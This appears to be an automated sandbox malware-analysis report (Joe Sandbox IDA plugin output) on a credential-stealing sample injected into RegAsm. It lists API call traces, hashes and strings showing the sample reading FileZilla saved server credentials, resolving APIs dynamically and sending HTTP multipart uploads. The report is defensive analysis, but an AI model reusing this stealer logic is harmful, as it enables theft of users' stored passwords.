Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,00C4E640), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,00C51F58), ref: 0040796B
lstrcat.KERNEL32(?,00C51F40), ref: 0040797F
lstrcat.KERNEL32(?,00C52018), ref: 00407992
lstrcat.KERNEL32(?,00C52078), ref: 004079A6
lstrcat.KERNEL32(?,00C4E6C8), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,00C51F58), ref: 00407A09
lstrcat.KERNEL32(?,00C51F40), ref: 00407A1D
lstrcat.KERNEL32(?,00C52018), ref: 00407A31
lstrcat.KERNEL32(?,00C52078), ref: 00407A44
lstrcat.KERNEL32(?,00C4E730), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,00C51F58), ref: 00407AA8
lstrcat.KERNEL32(?,00C51F40), ref: 00407ABB
lstrcat.KERNEL32(?,00C52018), ref: 00407ACF
lstrcat.KERNEL32(?,00C52078), ref: 00407AE3
lstrcat.KERNEL32(?,00C4E798), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,00C51F58), ref: 00407B46
lstrcat.KERNEL32(?,00C51F40), ref: 00407B5A
lstrcat.KERNEL32(?,00C52018), ref: 00407B6D
lstrcat.KERNEL32(?,00C52078), ref: 00407B81
lstrcat.KERNEL32(?,00C52670), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,00C51F58), ref: 00407BE4
lstrcat.KERNEL32(?,00C51F40), ref: 00407BF8
lstrcat.KERNEL32(?,00C52018), ref: 00407C0C
lstrcat.KERNEL32(?,00C52078), ref: 00407C1F
lstrcat.KERNEL32(?,00C526D8), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,00C51F58), ref: 00407C83
lstrcat.KERNEL32(?,00C51F40), ref: 00407C96
lstrcat.KERNEL32(?,00C52018), ref: 00407CAA
lstrcat.KERNEL32(?,00C52078), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(2D328020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,00C52820), ref: 00407E4B
lstrcat.KERNEL32(?,00C51368), ref: 00407E5E
lstrlenA.KERNEL32(2D328020), ref: 00407E6B
lstrlenA.KERNEL32(2D328020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

login: , xrefs: 0041040A
<Pass encoding="base64">, xrefs: 0041029A
<Port>, xrefs: 00410206
browser: FileZilla, xrefs: 00410399
<User>, xrefs: 00410250
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
profile: null, xrefs: 004103A8
url: , xrefs: 004103B7
<Host>, xrefs: 004101BC
password: , xrefs: 0041043B

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C3F3C0), ref: 004192B1
GetProcAddress.KERNEL32(74DD0000,00C3F330), ref: 004192CA
GetProcAddress.KERNEL32(74DD0000,00C3F3D8), ref: 004192E2
GetProcAddress.KERNEL32(74DD0000,00C3F408), ref: 004192FA
GetProcAddress.KERNEL32(74DD0000,00C3F360), ref: 00419313
GetProcAddress.KERNEL32(74DD0000,00C42EC0), ref: 0041932B
GetProcAddress.KERNEL32(74DD0000,00C428C0), ref: 00419343
GetProcAddress.KERNEL32(74DD0000,00C42760), ref: 0041935C
GetProcAddress.KERNEL32(74DD0000,00C3F438), ref: 00419374
GetProcAddress.KERNEL32(74DD0000,00C3F258), ref: 0041938C
GetProcAddress.KERNEL32(74DD0000,00C3F378), ref: 004193A5
GetProcAddress.KERNEL32(74DD0000,00C3F540), ref: 004193BD
GetProcAddress.KERNEL32(74DD0000,00C42920), ref: 004193D5
GetProcAddress.KERNEL32(74DD0000,00C3F4F8), ref: 004193EE
GetProcAddress.KERNEL32(74DD0000,00C3F4C8), ref: 00419406
GetProcAddress.KERNEL32(74DD0000,00C425E0), ref: 0041941E
GetProcAddress.KERNEL32(74DD0000,00C3F510), ref: 00419437
GetProcAddress.KERNEL32(74DD0000,00C3F4E0), ref: 0041944F
GetProcAddress.KERNEL32(74DD0000,00C42940), ref: 00419467
GetProcAddress.KERNEL32(74DD0000,00C3F4B0), ref: 00419480
GetProcAddress.KERNEL32(74DD0000,00C42600), ref: 00419498
LoadLibraryA.KERNEL32(00C3F480,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(00C3F498,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(00C3F528,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(00C3CAE8,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(00C4A918,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75A70000,00C4A8D0), ref: 00419512
GetProcAddress.KERNEL32(75290000,00C4A8E8), ref: 00419533
GetProcAddress.KERNEL32(75290000,00C4A870), ref: 0041954B
GetProcAddress.KERNEL32(75BD0000,00C4A888), ref: 0041956D
GetProcAddress.KERNEL32(75450000,00C427A0), ref: 0041958E
GetProcAddress.KERNEL32(76E90000,00C42EF0), ref: 004195AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,00C52860), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,00C52870,?,00C521F8,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00C52950,00000000,?,00C50CE8,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 00405407
------, xrefs: 004052E7
--, xrefs: 004052D0
------, xrefs: 00405549
", xrefs: 00405756
", xrefs: 004054D2
", xrefs: 00405614
------, xrefs: 0040568B

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,00C52860), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00C528B0,00000000,?,00C50CE8,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,00C52870,?,00C521F8,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

", xrefs: 00405D25
------, xrefs: 00405AE6
------, xrefs: 00405C5B
------, xrefs: 00405D9C
XA, xrefs: 004060CA
", xrefs: 00405E66
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
